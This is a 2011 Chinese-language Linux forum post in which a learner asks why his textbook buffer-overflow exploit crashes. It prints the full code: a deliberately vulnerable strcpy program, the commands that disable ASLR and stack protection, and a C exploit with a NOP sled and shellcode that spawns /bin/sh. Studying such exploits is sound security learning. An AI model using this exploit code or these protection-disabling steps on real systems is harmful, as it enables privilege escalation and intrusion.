Buffer Overflow 產生的Segmentation Fault - Linux

By Thomas
at 2011-05-26T22:00
at 2011-05-26T22:00
Table of Contents
大家好,
小弟菜鳥正在學習緩衝(buffer)溢位(overflow)攻擊,依據書上的code想看看實
際運作情況…我知道Ubuntu至少有二種防止Buffer Overflow 的方式,所以我用了如下的
方式:
Step 0: 關閉 random memory address scheme
#echo 0 > /proc/sys/kernel/randomize_va_space
Step 1: compile 目標程式 “vuln.c”
$gcc -fno-stack-protector -o vuln vuln.c
Source code of vuln.c:
#include <stdlib.h>
#include <string.h>
int main(int argc,char *argv[])
{
char buffer[500];
strcpy(buffer,argv[1]);
return 0;
}
Step 2:compile 破解程式,”exploit.c”
$gcc –o exploit exploit.c
Source code of exploit.c:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
charshellcode[]="\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68";
unsigned long sp(void){ asm("movl%esp, %eax");}
int main(int argc, char *argv[])
{
int i,offset;
unsigned int esp, ret, *addr_ptr;
char *buffer, *ptr;
offset=0;
esp=sp();
ret=esp-offset;
printf("Stack pointer (ESP: 0x%x\n",esp);
printf("Offset from ESP: 0x%x\n",offset);
printf("Desired Return Address : 0x%x\n",ret);
buffer=malloc(600);
ptr=buffer;
addr_ptr=(unsigned int *)ptr;
for(i=0;i<600;i+=4)
{
*(addr_ptr++)=ret;
}
for(i=0;i<200;i++)
{
buffer[i]='\x90';
}
ptr=buffer+200;
for(i=0;i<strlen(shellcode);i++)
{
*(ptr++)=shellcode[i];
}
buffer[600-1]=0;
execl("./vuln","vuln",buffer,(char *)NULL);
free(buffer);
return 0;
}
Step 3. 運行 ./exploit 但是不斷的出現Segmentation Fault的錯誤訊息,請高手提點
一下我哪邊弄錯了…我gdb debug的結果是segmentation fault的signal是從strcpy()中
出來的,然後就沒辦法更進一步去研究了。。。我在想是不是有辦法看他buffer內的記憶
體位置,然後看看記憶體的內容…這樣… 謝謝 !
--
Tags:
Linux
All Comments

By Andy
at 2011-05-28T10:36
at 2011-05-28T10:36

By Eartha
at 2011-05-28T18:38
at 2011-05-28T18:38

By Ivy
at 2011-05-31T06:13
at 2011-05-31T06:13

By Barb Cronin
at 2011-06-01T12:00
at 2011-06-01T12:00
Related Posts
ubuntu 的 make 不能用

By Iris
at 2011-05-26T21:40
at 2011-05-26T21:40
關於用寫shell script執行wget去抓檔案

By Jacob
at 2011-05-26T21:22
at 2011-05-26T21:22
Linux Mint 11 “Katya” released!

By Ida
at 2011-05-26T21:16
at 2011-05-26T21:16
關於用寫shell script執行wget去抓檔案

By Robert
at 2011-05-26T20:49
at 2011-05-26T20:49
Fedora 15的桌面使用疑問

By Audriana
at 2011-05-26T20:31
at 2011-05-26T20:31